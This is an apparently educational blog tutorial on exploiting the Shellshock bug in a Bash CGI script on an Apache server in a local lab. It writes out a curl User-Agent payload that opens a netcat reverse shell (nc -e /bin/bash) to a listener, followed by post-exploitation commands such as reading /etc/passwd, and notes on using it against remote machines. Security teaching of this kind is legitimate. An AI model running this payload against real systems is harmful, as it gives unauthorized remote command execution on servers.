Exploiting the Shellshock bug

In the previous post we looked at what the classic Shellshock behaviour is from the command line. In this post we’ll look at how Shellshock may impact web-servers that use the bash shell for scripting.

Before we get started – remember that testing for Shellshock on systems that you do not have permission to do so may mean you fall foul of local laws. If in doubt ask permission from the system administrator.

To show this in action, we’ll create a simple Bash CGI script and host it on an Apache web-server. For this demonstration I used a single Linux machine acting as both the target web-server and the attacking machine. This was for convenience but, firewalls aside, this should work against a remote server just the same.

For those of you more used to more modern web frameworks, creating a website using Bash based CGI_bin scripts may seem quaint but they do still exist. In fact a Google search of inurl:cgi_bin yielded about 520 million hits. However, consider that CGI_bin scripts can be written in many different languages (Perl, Python etc.) so not all may be affected by Shellshock.

When using CGI scripts to generate dynamic web pages, what happen beneath the covers is that header, query and form parameters are made available to the CGI script in the form of environment variables. From our earlier experiments with Bash we have seen that we can inject arbitrary commands if we set a parameter to be function and add our payload commands after the function definition. So knowing this, we can begin to see how the lessons learnt in the previous post can be applied to a web-server.

On my Kali Linux machine, I’ve:

  1. Started Apache from the command line (/etc/init.d/apache2 start)
  2. Confirmed the location of the CGI-Bin files for the default website (cat /etc/apache2/sites-enabled/000-default | grep ScriptAlias)
  3. Created a simple Bash CGI file (cgi) in the specified location (/usr/lib/cgi-bin)
  4. Ensured the file was executable (chmod 755 /usr/lib/cgi-bin/shellshock.cgi)

The shellshock.cgi file is as follows:


This is a really simple script that displays a basic HTML page but includes an output of the environment variables available to the CGI script (echo $(env)). When I navigate to http://localhost/cgi-bin/shellshock.cgi I see the following page.



You can see from this that the list of environment variables available to the CGI script includes items such as HTTP_USER_AGENT and REQUEST_METHOD. Apache has taken the standard HTTP headers, created environment parameters and passed these to the CGI script. This is where the Shellshock vulnerability lies, since we saw earlier that setting a parameter to a function and then appending our malicious payload after the function definition causes the payload to be executed automatically.

It’s worth noting that if a page had query or form parameters then these would also be converted into environment parameters that can be accessed. However HTTP Headers are common to all pages so we will focus our attentions on these.

In the case of normal browsing, we have little control over items the HTTP headers as these are set by the browser however other tools exist to allow us to alter these values. One option would be to use a HTTP proxy such as OWASP ZAP, Burp Suite, Fiddler or Charles Proxy; these allow you to intercept HTTP traffic and alter the HTTP request that is being sent. Another option (and the one used in this demo) is to use cURL, this is a command line tool that allows us to interact with web-servers and have a finer level of control over what is being sent. It’s not a graphical browser (such as Firefox, IE or Chrome) but instead fetches the content of the pages in a raw format.

We will also use a tool called Netcat; this is a network tool that can be used to read and send data over the network. One of the many uses of Netcat is the ability to set up Netcat in either Listening or Server modes. When we have two Netcat instances connected to each other, we can start to do some interesting things. In the case of our demonstration we are going to set-up a Reverse Shell which will allow the attacking machine execute commands on the target machine.

Since I’m using Kali Linux, both cURL and Netcat are already installed but you may need to install these on your machine if you are following along.

Note: If you are following along, then I’ve assumed that you are doing this on a single Linux instance; if you are running this against a remote web-server you have access to then you will need to alter the URL used in the curl command.

In a new terminal window, I run Netcat in listening mode so that it is listening and waiting for connections on port 4444. The command for this is nc –lp 4444


In the above, I’ve used the pwd command also to show what directory I’m currently in.

In another terminal window, I use the curl command to retrieve the shellshock.cgi page but I send through a modified referrer tag that looks similar to the command line shellshock commands we used before.

The command is somewhat complicated but easily broken down:

curl http://localhost/cgi-bin/shellshock.cgi –user-agent “() { :; }; /bin/bash -c \”nc 4444 -e /bin/bash\””

The first part curl http://localhost/cgi-bin/shellshock.cgi is an instruction to curl to retrieve the contents of the shellshock.cgi file and works more or less like a browser in this respect but instead of rendering the html, it lists out the html (like viewing the page source).

The next part uses curl’s –user-agent option to specify a custom user-agent; in a normal browser, this would contain details of the browser and OS that requested the page. We could use other headers such as the referer header.

The last part (between the double quotes) should look vaguely familiar:

“() { :; }; /bin/bash -c \”nc 4444 -e /bin/bash\””

It’s a variant of the Shellshock commands we were using earlier, the first part is the function definition (“() { :; }; )and should look familiar to you. The second part (/bin/bash -c \”nc 4444 -e /bin/bash\””) is more complex to read but in essence, is the shellshock payload (i.e. the commands after the function definition) which will start a Bash sub-shell (/bin/bash -c) and run Netcat.

Note: The IP address used is the IP Address of the listening Netcat instance so you will need to change that to be the IP address of your Linux machine; use ifconfig eth0 to find out what the IP address should be.

In the other terminal window we are running Netcat in listen mode, in this command we are telling Netcat to connect to the other instance of Netcat (nc -lp 4444) and using the Netcat -e command to take any input received from the other instance of Netcat, send it to /bin/bash and return the output back (known as a Reverse Shell). This may sound complex but in essence, once the connection is made between the two instances of Netcat, we could type Bash commands into the listening Netcat and have them executed on the other Netcat instance. Achieving this could give an attacker a great deal of access to your server


Normally when we run curl, we would see the contents of the requested file however due to the malicious payload we are not seeing this. This is because we’ve created a sub-shell and the server is waiting for that to complete before returning the web-server response.

Now, if we go the listening Netcat window we should find that we can type in Bash commands and view the outputs. The important point to remember is that these commands are being executed on the web-server.


In the above, you can see that I used the reverse shell to do the following:

  • ls – listed the contents of the current directory (shows two files)
  • pwd – determined that I am in the /usr/lib/cgi-bin folder (not /root as before).
  • cat /etc/passwd | grep root – listed the entry in the passwd file for the root user
  • whoami – determined that I am running as the user www-data
  • ifconfig eth0 – obtained information about the internal network on the web-server.

Essentially, I can do anything that the www-data user has the privileges to do so.

To close the reverse shell, I need to press Ctrl+c on that window to stop Netcat; at which point my curl command will return and probably return an error but that’s OK as the mission was accomplished – we exploited the Shellshock bug (at least on a demo system anyway).


  • This is only an example, and uses a reverse shell created via two Netcat instances to demonstrate exploiting Shellshock. In most cases, you won’t find Netcat on a production server but the same effect (the reverse shell) can be accomplished in other ways as well as using this vulnerability to affect other outcomes.
  • This demonstration was run on a single Linux instance so both the listening and target netcat instances were on the same machine. Assuming the server has Netcat installed and there are no pesky firewalls in the way then this will work on across remote machines. To do this you’d need to change the IP Address to the IP address of your test/attacking machine and ensure the target server can connect to your test/attacking machine.

And that’s all there is to it! As mention in the earlier post, we have only been considering the Classic Shellshock attack pattern and others do exist.